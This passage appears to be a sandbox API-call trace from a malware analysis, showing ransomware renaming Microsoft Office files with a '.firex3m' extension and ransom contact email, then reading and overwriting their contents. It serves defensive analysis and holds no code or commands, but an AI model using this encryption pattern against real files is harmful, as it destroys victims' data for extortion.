lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73e2b20*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.130] GetProcessHeap () returned 0x630000 [0180.130] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0180.130] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.130] WriteFile (in: hFile=0x6d0, lpBuffer=0x73edf50*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73edf50*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0180.131] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.131] WriteFile (in: hFile=0x6d0, lpBuffer=0x73f934f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73f934f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0180.131] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.131] WriteFile (in: hFile=0x6d0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0180.131] CloseHandle (hObject=0x6d0) returned 1 [0180.131] GetProcessHeap () returned 0x630000 [0180.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73edf50 | out: hHeap=0x630000) returned 1 [0180.131] GetProcessHeap () returned 0x630000 [0180.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73e2b20 | out: hHeap=0x630000) returned 1 [0180.133] GetProcessHeap () returned 0x630000 [0180.133] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0180.133] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0180.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x314fa7a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11c84, dwReserved0=0xaa87496, dwReserved1=0x73e2b18, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4ec0 [0180.133] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0180.133] Sleep (dwMilliseconds=0x1) [0182.276] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr", len=0x44 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr") returned 1 [0182.276] GetProcessHeap () returned 0x630000 [0182.276] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a7c) returned 0x707d3d0 [0182.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0182.277] CloseHandle (hObject=0x6d4) returned 1 [0182.277] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0182.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0182.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaebc65e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5dff8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TellMeExcel.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE5BE5~1.FIR")) returned 0x6d54c0 [0182.278] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0182.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeexcel.nrr.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0182.279] GetProcessHeap () returned 0x630000 [0182.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74480d0 [0182.279] GetProcessHeap () returned 0x630000 [0182.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0182.280] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.280] ReadFile (in: hFile=0x6d4, lpBuffer=0x74480d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74480d0*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.748] GetProcessHeap () returned 0x630000 [0190.749] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0190.749] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.749] WriteFile (in: hFile=0x6d4, lpBuffer=0x7393dd0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0190.749] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.749] WriteFile (in: hFile=0x6d4, lpBuffer=0x739f1cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f1cf*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0190.751] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.751] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0190.751] CloseHandle (hObject=0x6d4) returned 1 [0190.751] GetProcessHeap () returned 0x630000 [0190.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0190.751] GetProcessHeap () returned 0x630000 [0190.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74480d0 | out: hHeap=0x630000) returned 1 [0190.751] GetProcessHeap () returned 0x630000 [0190.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0190.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeExcel.nrr.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaebc65e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaebc65e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37a4ea4c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5e01c, dwReserved0=0xaa87496, dwReserved1=0x74480c8, cFileName="TellMeExcel.nrr.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TE5BE5~1.FIR")) returned 0x6d5000 [0190.752] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0190.752] Sleep (dwMilliseconds=0x1) [0190.759] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX", len=0x5a | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX") returned 1 [0190.759] GetProcessHeap () returned 0x630000 [0190.759] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x3c0c) returned 0x74656a8 [0190.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_visio2013_u.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0190.763] CloseHandle (hObject=0x6d4) returned 1 [0190.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0190.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_visio2013_u.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_visio2013_u.vssx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0190.764] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0190.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3d4ec4f, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3d4ec4f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3d4ec4f, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x27bc6, dwReserved0=0x640075, dwReserved1=0x2e0065, cFileName="BLDCOR_VISIO2013_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLDCOR~1.FIR")) returned 0x6d4ec0 [0190.765] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0190.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\bldcor_visio2013_u.vssx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0190.765] GetProcessHeap () returned 0x630000 [0190.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x718b7d8 [0190.766] GetProcessHeap () returned 0x630000 [0190.766] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c30a8 [0190.766] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.766] ReadFile (in: hFile=0x6d4, lpBuffer=0x718b7d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x718b7d8*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.942] GetProcessHeap () returned 0x630000 [0194.942] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0194.943] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.943] WriteFile (in: hFile=0x6d4, lpBuffer=0x70c30a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesWritten=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0195.334] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.334] WriteFile (in: hFile=0x6d4, lpBuffer=0x70ce4a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70ce4a7*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.335] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.335] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.335] CloseHandle (hObject=0x6d4) returned 1 [0195.342] GetProcessHeap () returned 0x630000 [0195.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0195.343] GetProcessHeap () returned 0x630000 [0195.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x718b7d8 | out: hHeap=0x630000) returned 1 [0195.344] GetProcessHeap () returned 0x630000 [0195.344] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0196.297] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\BLDCOR_VISIO2013_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3d4ec4f, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x3d4ec4f, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a5ff5ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27bea, dwReserved0=0xaa87496, dwReserved1=0x718b7d0, cFileName="BLDCOR_VISIO2013_U.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLDCOR~1.FIR")) returned 0x6d5540 [0196.297] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0196.297] Sleep (dwMilliseconds=0x1) [0196.321] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt", len=0x4c | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt") returned 1 [0196.321] GetProcessHeap () returned 0x630000 [0196.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4784) returned 0x7133a90 [0196.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tabs.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0196.418] CloseHandle (hObject=0x4e4) returned 1 [0196.419] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.419] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tabs.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.420] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x550d, dwReserved0=0x6d, dwReserved1=0x0, cFileName="Tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TABSAC~1.FIR")) returned 0x6d5280 [0196.420] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0196.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0196.420] GetProcessHeap () returned 0x630000 [0196.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5521) returned 0x7190ea8 [0196.420] GetProcessHeap () returned 0x630000 [0196.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5521) returned 0x7453008 [0196.421] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.421] ReadFile (in: hFile=0x4e4, lpBuffer=0x7190ea8, nNumberOfBytesToRead=0x5500, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7190ea8*, lpNumberOfBytesRead=0x587ff0c*=0x5500, lpOverlapped=0x0) returned 1 [0200.958] GetProcessHeap () returned 0x630000 [0200.958] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0200.958] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.958] WriteFile (in: hFile=0x4e4, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x587ff0c*=0x5500, lpOverlapped=0x0) returned 1 [0200.959] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.959] WriteFile (in: hFile=0x4e4, lpBuffer=0x7458507*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7458507*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0200.959] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.959] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0200.959] CloseHandle (hObject=0x4e4) returned 1 [0200.959] GetProcessHeap () returned 0x630000 [0200.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0200.959] GetProcessHeap () returned 0x630000 [0200.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7190ea8 | out: hHeap=0x630000) returned 1 [0200.959] GetProcessHeap () returned 0x630000 [0200.959] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0200.959] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.959] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb62fbf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb62fbf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3dba665e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5531, dwReserved0=0xaa87496, dwReserved1=0x7190ea0, cFileName="Tabs.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TABSAC~1.FIR")) returned 0x6d52c0 [0200.959] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0200.960] Sleep (dwMilliseconds=0x1) [0202.684] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE", len=0x65 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE") returned 1 [0202.684] GetProcessHeap () returned 0x630000 [0202.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c04) returned 0x7133a90 [0202.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0203.602] CloseHandle (hObject=0x42c) returned 1 [0203.630] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0203.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\fltldr.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\fltldr.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0203.632] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0203.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\FLTLDR.EXE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: 